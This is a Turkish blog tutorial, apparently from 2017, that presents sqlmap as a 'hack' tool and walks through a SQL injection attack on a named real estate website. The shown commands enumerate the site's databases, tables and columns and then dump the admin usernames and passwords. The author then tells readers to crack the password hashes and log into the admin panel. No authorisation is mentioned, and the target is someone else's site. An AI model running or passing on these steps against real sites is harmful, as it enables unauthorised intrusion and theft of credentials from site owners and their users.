Sqlmap Kullanımı Ve Hack

Merhaba dostlar..
Yavaş yavaş hack konularına girmemiz gerektiğini düşündük ve sqlmap yazılımı ile başlayalım dedik.

Sql, verileri yönetmek ve tasarlamak için kullanılan bir veritabanı yönetim sistemidir. SQL, kendisi bir programlama dili olmamasına rağmen birçok kişi tarafından programlama dili olarak bilinir. SQL herhangi bir veri tabanı ortamında kullanılan bir alt dildir. SQL ile yalnızca veri tabanı üzerinde işlem yapılabilir. SQL'e özgü cümleler kullanarak veri tabanına kayıt eklenebilir, olan kayıtlar değiştirilebilir, silinebilir ve bu kayıtlardan listeler oluşturulabilir.

SQL Injection. web uygulamalarında ki en ciddi açıkların başında gelir. Özellikle frameworkler ve ORM (Object Relational Mapping) gibi ekstra veritabanı katmanlarının popülerleşmesi ile eskisine göre bugünlerde biraz daha az görülmektedir ama emin olun hala heryerdeler!
Web uygulaması geliştiricilercileri SQL Injection’ ı tam anlamadıklarından dolayı bazı ölümcül hatalar yaparlar. Bu yüzden bugün bilinen basit SQL Injection metodları o kadar çok görünmese de ileri de anlatacağımız ileri seviye SQL Injection açıklarını çok büyük firmalardan, hazır sistemlere kadar bir çok yerde görebilirsiniz.

Sqlmap, Sql tabanlı sitelerin güvenliğini denetlemek için kullanılan oldukça pratik bir araçtır. Normalde Linux üzerinden çalışır fakat Windows için olanı da mevcuttur; Windows için olanı çizgisel arabirime sahiptir, Linux için olanı ise komut satırı arayüzüne sahiptir..

Bir kaç (Ç)alıntı ile sql, sql injection ve sqlmap kavramlarını tanıdık.

Sqlmap, Kali linux, Backbox gibi pentest dağıtımlarında yüklü olarak gelir.
Kali Linux kullanmıyorsanız aşağıdaki komut ile sqlmap uygulamasını git deposundan edinebilirsiniz.
git clone git://git.kali.org/packages/sqlmap.git
Sqlmap uygulamasını Git deposundan indirebilmeniz için sisteminizde Git paketinin yüklü olması gerekmektedir. Git paketi yüklü değilse yukarıdaki komutu uçbirimde çalıştırdığınızda hata alırsınız. Git paketini yüklemek için aşağıdaki komutu uçbirimde çalıştırmanız gerekiyor.
sudo apt-get install git
Sqlmap uygulamasını edindiğimize göre sqlmap dizinine geçebiliriz.
cd sqlmap
llk olarak kendimize bir hedef site belirlememiz gerekiyor. (nerden bulcam ben sql açıklı siteyi? derseniz Sql Açıklı site bulma programını buradan indirebilirsiniz.Dilerseniz, bir hedef site belirleyebilir, bu sitedeki açıkları buradaki yazılım ile bulabilirsiniz.)

Belirlediğimiz site; " http://ceburealproperty.com/ "
Sql Hatası: " http://ceburealproperty.com/show_cat_page.php?id=3' "
İlk komutumuzda kullanacağımız parametreleri bir tanıyalım.
-u parametresi hedef siteyi belirtmektedir. Parametrenin yanına sql hatasını aldığımız URL'yi yazarız.
--dbs komutu ise bizim databaseleri çekmemize yarayan komuttur.

Aşağıdaki komutu uçbirimde çalıştırarak başlayalım.
Kali Linux kullanıyorsanız python ./sqlmap.py yerine sqlmap yazmalısınız.
python ./sqlmap.py -u "http://ceburealproperty.com/show_cat_page.php?id=3'" --dbs
Databaseleri çekmeye başlamadan önce bize işlemi onaylayıp onaylamadığımızı soracaktır. E diyerek onaylıyoruz.
İşlemin bitmesini bekliyoruz.

Yukarıdaki resimde hedef sitedeki databaseler görünmekte. "information_schema" isimli database MySql kullanan tüm sistemlerde bulunur. Hiç bir zaman veriler "information_schema" isimli databasede saklanmaz.

--dbs paramatresini -D olarak değiştirip yanına database ismini ekliyoruz.
Hedef sitemizdeki database ismi cebureal_db. Bu durumda parametremiz -D cebureal_db şeklinde olmalı.

Paramatremizi değiştirdikten sonra komutun sonuna --tables paramatresini ekliyoruz.
--tables parametresi database'deki table'leri, yani veritabanındaki tabloları çekecek. 
Komutun son hali aşağıdaki gibi. Aşağıdaki komutu uçbirimde çalıştırarak table'leri çekelim
python ./sqlmap.py -u "http://ceburealproperty.com/show_cat_page.php?id=3'" -D cebureal_db --tables

Yukarıdaki resimde table'ler görünmekte. Burada kullanıcı bilgilerini barındıran table'yi bulmamız gerekiyor. Genelde admin, user gibi isimler olur.
Bu sitede table admin olarak isimlendirilmiş. Admin giriş bilgileri burada.

Yukarıda yaptığımız işlemin aynısını burada da yapıyoruz. --table paramatresini -T admin olarak değiştiyoruz. Çünkü tablomuzun ismi "admin". "admin" değilde "user" olsaydı "-T user" olurdu değil mi?

Değişikliğimizi yaptıktan sonra komutun sonuna --columns paramatresini ekliyoruz.
--columns paramatresi tablo altındaki kolonları çekecek.
python ./sqlmap.py -u "http://ceburealproperty.com/show_cat_page.php?id=3'" -D cebureal_db -T admin --columns

İşlem süresi siteden sisteye değişmekte.
3 tane kolon var. Burada bana lazım olanı almam gerekiyor. Yani username ve password.
Her adımda parametrelerimizde oynadığımız gibi burada da oynuyoruz.
--columns parametresini -C olarak değiştiriyoruz. Parametrenin son hali -C username,password şeklinde olmalı. -C parametresinin yanına çekmek istediğimiz kolonları virgül(,) ile ayırarak yazıyoruz.

Kolonları belirttikten sonra komutun sonuna --dump parametresini ekliyoruz.
--dump parametresi kolon içindeki dataları çekecek.
python ./sqlmap.py -u "http://ceburealproperty.com/show_cat_page.php?id=3'" -D cebureal_db -T admin -C username,password --dump

Veee mutlu son :))
Yukarıdaki resimde Adminlerin kullanıcı adları ve şifreleri görülmekte.
Sql açığını kullarak adminin şifresine ve kullanıcı adına ulaştınız.

Tabi her zaman datalar bu şekilde çıkmaz. Md5 olarak şifreyi verebilir, sizinde bu Md5'i kırmanız gerekebilir. Ve bu da sizin canınızı acıtabilir :)

Siteden siteye değişiklik gösterecektir bu mutluluk ;) 

Artık tek yapmanız gereken sitenin admin panelini bulup girmek. Admin panelini bulmak için yazılmış onlarca uygulama bulunmakta.
Örneğin burada Python ile yazılmış, burada ise Perl ile yazılmış admin panel bulucu uygulamalar mevcut. İncelemenizi öneririm.




Sqlmap ile ilgili diğer yazılarımız:
#Joe

Son Güncelleme: 29.06.2017 01:00 #Joe